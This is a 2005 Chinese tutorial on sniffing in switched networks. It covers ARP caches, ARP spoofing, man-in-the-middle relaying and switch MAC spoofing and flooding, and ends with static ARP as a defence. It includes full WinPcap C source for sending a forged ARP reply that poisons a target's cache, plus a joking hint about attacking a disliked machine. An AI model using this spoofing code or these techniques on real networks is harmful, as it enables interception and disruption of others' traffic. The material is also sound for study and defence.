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交换网络中的嗅探和ARP欺骗

2005-12-05 22:40 Refdom(refdom@263.net) www.opengram.com 字号:T | T
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以太网内的嗅探(sniff)对于网络安全来说并不是什么好事,虽然对于网络管理员能够跟踪数据包并且发现网络问题,但是如果被破坏者利用的话,就对整个网络构成严重的安全威胁。

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以太网内的嗅探(sniff)对于网络安全来说并不是什么好事,虽然对于网络管理员能够跟踪数据包并且发现网络问题,但是如果被破坏者利用的话,就对整个网络构成严重的安全威胁。至于嗅探的好处和坏处就不罗嗦了。
ARP缓存表
假设这样一个网络:
             ——————————
             |       HUB        |
             ——————————
                |      |      | 
                |      |      | 
                |      |      | 
             HostA   HostB   HostC 
 

其中
A的地址为:IP:192.168.10.1 MAC: AA-AA-AA-AA-AA-AA
B的地址为:IP:192.168.10.2 MAC: BB-BB-BB-BB-BB-BB
C的地址为:IP:192.168.10.3 MAC: CC-CC-CC-CC-CC-CC
假设B是属于一个嗅探爱好者的,比如A机器的ARP缓存:
     
C:\>arp -a
Interface: 192.168.10.1 on Interface 0x1000003
  Internet Address      Physical Address      Type
  192.168.10.3          CC-CC-CC-CC-CC-CC     dynamic   

这是192.168.10.1机器上的ARP缓存表,假设,A进行一次ping 192.168.10.3操作,PING主机C,会查询本地的
ARP缓存表,找到C的IP地址的MAC地址,那么就会进行数据传输,目的地就是C 的MAC地址。如果A中没有C的ARP记
录,那么A首先要广播一次ARP请求,当C接收到A 的请求后就发送一个应答,应答中包含有C的MAC地址,然后A接
收到C的应答,就会更新本地的ARP缓存。接着使用这个MAC地址发送数据(由网卡附加MAC地址)。
因此,本地高速缓存的这个ARP表是本地网络流通的基础,而且这个缓存是动态的。
集线器网络(Hub-Based)
很多网络都是用Hub进行连接的。数据包经过Hub传输到其他计算机的时候,Hub只是简单地把这个数据包广播
到Hub的所有端口上。
这就是上面举例中的一种网络结构。
现在A需要发送TCP数据包给C。首先,A需要检查本地的ARP 缓存表,查看是否有IP为192.168.10.3即C的ARP记
录,如果没有那么A将要广播一个ARP请求,当C接收到这个请求后,就作出应答,然后A更新自己的ARP缓存表。并
且获得与C的IP相对应的MAC地址。这时就传输这个TCP数据包,Ethernet帧中就包含了C的MAC地址。当数据包传输
到HUB的时候,HUB直接把整个数据包广播到所有的端口,然后C就能够接收到A发送的数据包。
正因为HUB把数据广播到所有的端口,所以计算机B也能够收到A发送给C的数据包。这正是达到了B嗅探的目的。
因此,Hub-Based的网络基本没有安全可言,嗅探在这样的网络中非常容易。
交换网络(Switched Lan)
交换机用来代替HUB,正是为了能够解决HUB的几个安全问题,其中就是能够来解决嗅探问题。Switch不是把数
据包进行端口广播,它将通过自己的ARP缓存来决定数据包传输到那个端口上。因此,在交换网络上,如果把上面
例子中的HUB换为Switch,B就不会接收到A发送给C的数据包,即便设置网卡为混杂模式,也不能进行嗅探。
ARP欺骗( ARP spoofing)
ARP协议并不只在发送了ARP请求才接收ARP应答。当计算机接收到ARP应答数据包的时候,就会对本地的ARP缓存
进行更新,将应答中的IP和MAC地址存储在ARP缓存中。因此,在上面的假设网络中,B向A发送一个自己伪造的ARP应
答,而这个应答中的数据为发送方IP地址是192.168.10.3(C的IP地址),MAC地址是DD-DD-DD-DD-DD-DD(C的MAC地
址本来应该是CC-CC-CC-CC-CC-CC,这里被伪造了)。当A接收到B伪造的ARP应答,就会更新本地的ARP缓存(A可不
知道被伪造了)。
现在A机器的ARP缓存更新了:
     
C:\>arp -a

Interface: 192.168.10.1 on Interface 0x1000003
  Internet Address      Physical Address      Type
  192.168.10.3          DD-DD-DD-DD-DD-DD     dynamic   

这可不是小事。局域网的网络流通可不是根据IP地址进行,而是按照MAC地址进行传输。现在192.168.10.3的
MAC地址在A上被改变成一个本不存在的MAC地址。现在A开始Ping 192.168.10.3,网卡递交的MAC地址是
DD-DD-DD-DD-DD-DD,结果是什么呢?网络不通,A根本不能Ping通C!!
这就是一个简单的ARP欺骗。
我们来实现这样的ARP欺骗。这里需要使用一个WinPcap提供的API和驱动。(http://winpcap.polito.it/)
winpcap是一个伟大而且开放的项目。Windows环境下的nmap、snort、windump都是使用的winpcap。
     
///////////////////////////////////////////////////////
//
//                ARP Sender
//
//           Creator:    Refdom
//           Email:      refdom@263.net
//           Home Page:  www.opengram.com
//
//           2002/4/7
//
///////////////////////////////////////////////////////
#include "stdafx.h"
#include "Mac.h"
//GetMacAddr(),我写的把字符串转换为MAC地址的函数,就不列在这里了
#include 
#include 

#define EPT_IP0x0800/* type: IP*/
#define EPT_ARP0x0806/* type: ARP */
#define EPT_RARP0x8035/* type: RARP */
#define ARP_HARDWARE 0x0001/* Dummy type for 802.3 frames  */
#defineARP_REQUEST0x0001/* ARP request */
#defineARP_REPLY0x0002/* ARP reply */

#define Max_Num_Adapter 10

#pragma pack(push, 1)

typedef struct ehhdr 
{
unsigned chareh_dst[6];/* destination ethernet addrress */
unsigned chareh_src[6];/* source ethernet addresss */
unsigned shorteh_type;/* ethernet pachet type*/
}EHHDR, *PEHHDR;


typedef struct arphdr
{
unsigned shortarp_hrd;/* format of hardware address */
unsigned shortarp_pro;/* format of protocol address */
unsigned chararp_hln;/* length of hardware address */
unsigned chararp_pln;/* length of protocol address */
unsigned shortarp_op;/* ARP/RARP operation */

unsigned chararp_sha[6];/* sender hardware address */
unsigned longarp_spa;/* sender protocol address */
unsigned chararp_tha[6];/* target hardware address */
unsigned longarp_tpa;/* target protocol address */
}ARPHDR, *PARPHDR;

typedef struct arpPacket
{
EHHDRehhdr;
ARPHDRarphdr;
} ARPPACKET, *PARPPACKET;

#pragma pack(pop)

int main(int argc, char* argv[])
{
static char AdapterList[Max_Num_Adapter][1024];
char szPacketBuf[600];
char MacAddr[6];

LPADAPTERlpAdapter;
LPPACKETlpPacket;
WCHARAdapterName[2048];
WCHAR*temp,*temp1;
ARPPACKET ARPPacket;

ULONG AdapterLength = 1024;

int AdapterNum = 0;
int nRetCode, i;

//Get The list of Adapter
if(PacketGetAdapterNames((char*)AdapterName,&AdapterLength)==FALSE)
{
printf("Unable to retrieve the list of the adapters!\n");
return 0;
}

temp = AdapterName;
temp1=AdapterName;
i = 0;
while ((*temp != '\0')||(*(temp-1) != '\0'))
{
if (*temp == '\0') 
{
memcpy(AdapterList[i],temp1,(temp-temp1)*2);
temp1=temp+1;
i++;
}

temp++;
}

AdapterNum = i;
for (i = 0; i < AdapterNum; i++)
wprintf(L"\n%d- %s\n", i+1, AdapterList[i]);
printf("\n");

//Default open the 0
lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[0]);
        //取第一个网卡(假设啦)

if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
{
nRetCode = GetLastError();
printf("Unable to open the driver, Error Code : %lx\n", nRetCode);
return 0;
}

lpPacket = PacketAllocatePacket();
if(lpPacket == NULL)
{
printf("\nError:failed to allocate the LPPACKET structure.");
return 0;
}

ZeroMemory(szPacketBuf, sizeof(szPacketBuf));

if (!GetMacAddr("BBBBBBBBBBBB", MacAddr))
{
printf ("Get Mac address error!\n");
}
memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6);    //源MAC地址

if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
{
printf ("Get Mac address error!\n");
return 0;
}
memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6);    //目的MAC地址。(A的地址)

ARPPacket.ehhdr.eh_type = htons(EPT_ARP);

ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);
ARPPacket.arphdr.arp_pro = htons(EPT_IP);
ARPPacket.arphdr.arp_hln = 6;
ARPPacket.arphdr.arp_pln = 4;
ARPPacket.arphdr.arp_op = htons(ARP_REPLY);

if (!GetMacAddr("DDDDDDDDDDDD", MacAddr))
{
printf ("Get Mac address error!\n");
return 0;
}
memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6);//伪造的C的MAC地址
ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3");   //C的IP地址

if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
{
printf ("Get Mac address error!\n");
return 0;
}
memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6);  //目标A的MAC地址
ARPPacket.arphdr.arp_tpa = inet_addr("192.168.10.1");   //目标A的IP地址

memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));
PacketInitPacket(lpPacket, szPacketBuf, 60);

if(PacketSetNumWrites(lpAdapter, 2)==FALSE)
{
  printf("warning: Unable to send more than one packet in 
           a single write!\n");
}

if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)
{
printf("Error sending the packets!\n");
return 0;
}

printf ("Send ok!\n");

// close the adapter and exit
PacketFreePacket(lpPacket);
PacketCloseAdapter(lpAdapter);
return 0;
}   

于是A接收到一个被伪造的ARP应答。A被欺骗了!!倘若在局域网中看某某机器不顺眼,……
以太网中的嗅探太有作用了,但是交换网络对嗅探进行了限制,让嗅探深入程度大打折扣。不过,很容易就能
够发现,主机、Switch(动态更新地址表类型,下同)中的缓存表依然是(主要是)动态的。要在一个交换网络中
进行有效的嗅探工作(地下党?),需要采用对付各种缓存表的办法,连骗带哄,甚至乱踹,在上面的ARP欺骗基础
中我们就能够做到。
对目标进行ARP欺骗
就象上面程序中实现的一样,对目标A进行欺骗,A去Ping主机C却发送到了DD-DD-DD-DD-DD-DD这个地址上。如
果进行欺骗的时候,把C的MAC地址骗为BB-BB-BB-BB-BB-BB,于是A发送到C上的数据包都变成发送给B的了。这不正
好是B能够接收到A发送的数据包了么,嗅探成功。
A对这个变化一点都没有意识到,但是接下来的事情就让A产生了怀疑。因为A和C连接不上了!!B对接收到A发送
给C的数据包可没有转交给C。
做“man in the middle”,进行ARP重定向。打开B的IP转发功能,A发送过来的数据包,转发给C,好比一个路由
器一样。不过,假如B发送ICMP重定向的话就中断了整个计划。
直接进行整个包的修改转发,捕获到A发送给的数据包,全部进行修改后再转发给C,而C接收到的数据包完全认为
是从A发送来的。不过,C发送的数据包又直接传递给A,倘若再次进行对C的ARP欺骗。现在B就完全成为A与C的中间桥
梁了。
对Switch的MAC欺骗
Switch上同样维护着一个动态的MAC缓存,它一般是这样,首先,交换机内部有一个对应的列表,交换机的端口对
应MAC地址表Port n <-> Mac记录着每一个端口下面存在那些MAC地址,这个表开始是空的,交换机从来往数据帧中学
习。举例来说,当Port 1口所接的计算机发出了一个数据帧,这帧数据从Port 1进入交换机,交换机就取这个数据帧
的原MAC地址AAAA,然后在地址表中记录:Port 1 <-> AAAA, 以后,所有发向MAC地址为AAAA的数据帧,就全从Port 1
口输出,而不会从其它的口输出。
跟前面对目标进行欺骗相类似。如果把Switch上的MAC-PORT表修改了,那么对应的MAC和PORT就一样跟着改变,本来
不应该发送到嗅探器的数据结果发送过来了,这样也达到了嗅探的目的。修改本地(B)发送的数据包MAC地址为原来A的
MAC地址,当经过交换机的时候,交换机发现端口B对应的地址是机器A的MAC地址,于是就将会把A的MAC地址同端口B相对
应,从而把发送给A的数据从端口B传输了,本来这些应该是传送到端口A的。因此,从机器B就能够获得发送给A的数据。
但是,这里有一个问题,A将接收不到数据了。嗅探不目的并不是要去破坏正常的数据通讯。同时,从刚才的欺骗中,
让交换机中一个MAC地址对应了多个端口,这种对于交换机处理还不清楚。还请多指教。
对Switch进行Flood
就象上面介绍Switch的MAC和Port对应关系形成的原理,因为MAC-PORT缓存表是动态更新的,那么让整个Switch的端
口表都改变,对Switch进行MAC地址欺骗的Flood,不断发送大量假MAC地址的数据包,Switch就更新MAC-PORT缓存,如果
能通过这样的办法把以前正常的MAC和Port对应的关系破坏了,那么Switch就会进行泛洪发送给每一个端口,让Switch基
本变成一个HUB,向所有的端口发送数据包,要嗅探的目的一样能够达到。
存在的问题,Switch对这种极限情况的处理,因为属于不正常情况,可能会引起包丢失情况。而且现在对这种极限情
况的Switch状态还很不了解。如果对网络通讯造成了大的破坏,这不属于正常的嗅探(嗅探也会引起一些丢失)。
对Switch进行各种手段的操作,需要小心,如果打开了端口保护,那么可能会让交换机关闭所有用户。因此,对交换
机这样的设备进行欺骗或者其他操作,还不如对一些上级设备进行欺骗,比如目标主机或者路由器。
至于上面关于嗅探的手段都是基于这个动态表进行的。因此,使用静态的ARP就能够进行防范了。对于WIN,使用
arp -s 来进行静态ARP的设置。
感谢winpcap这个开放项目,也感谢Dancefire提供的大量帮助和指正。我在网络设备上的了解还很不够,还请多指正。



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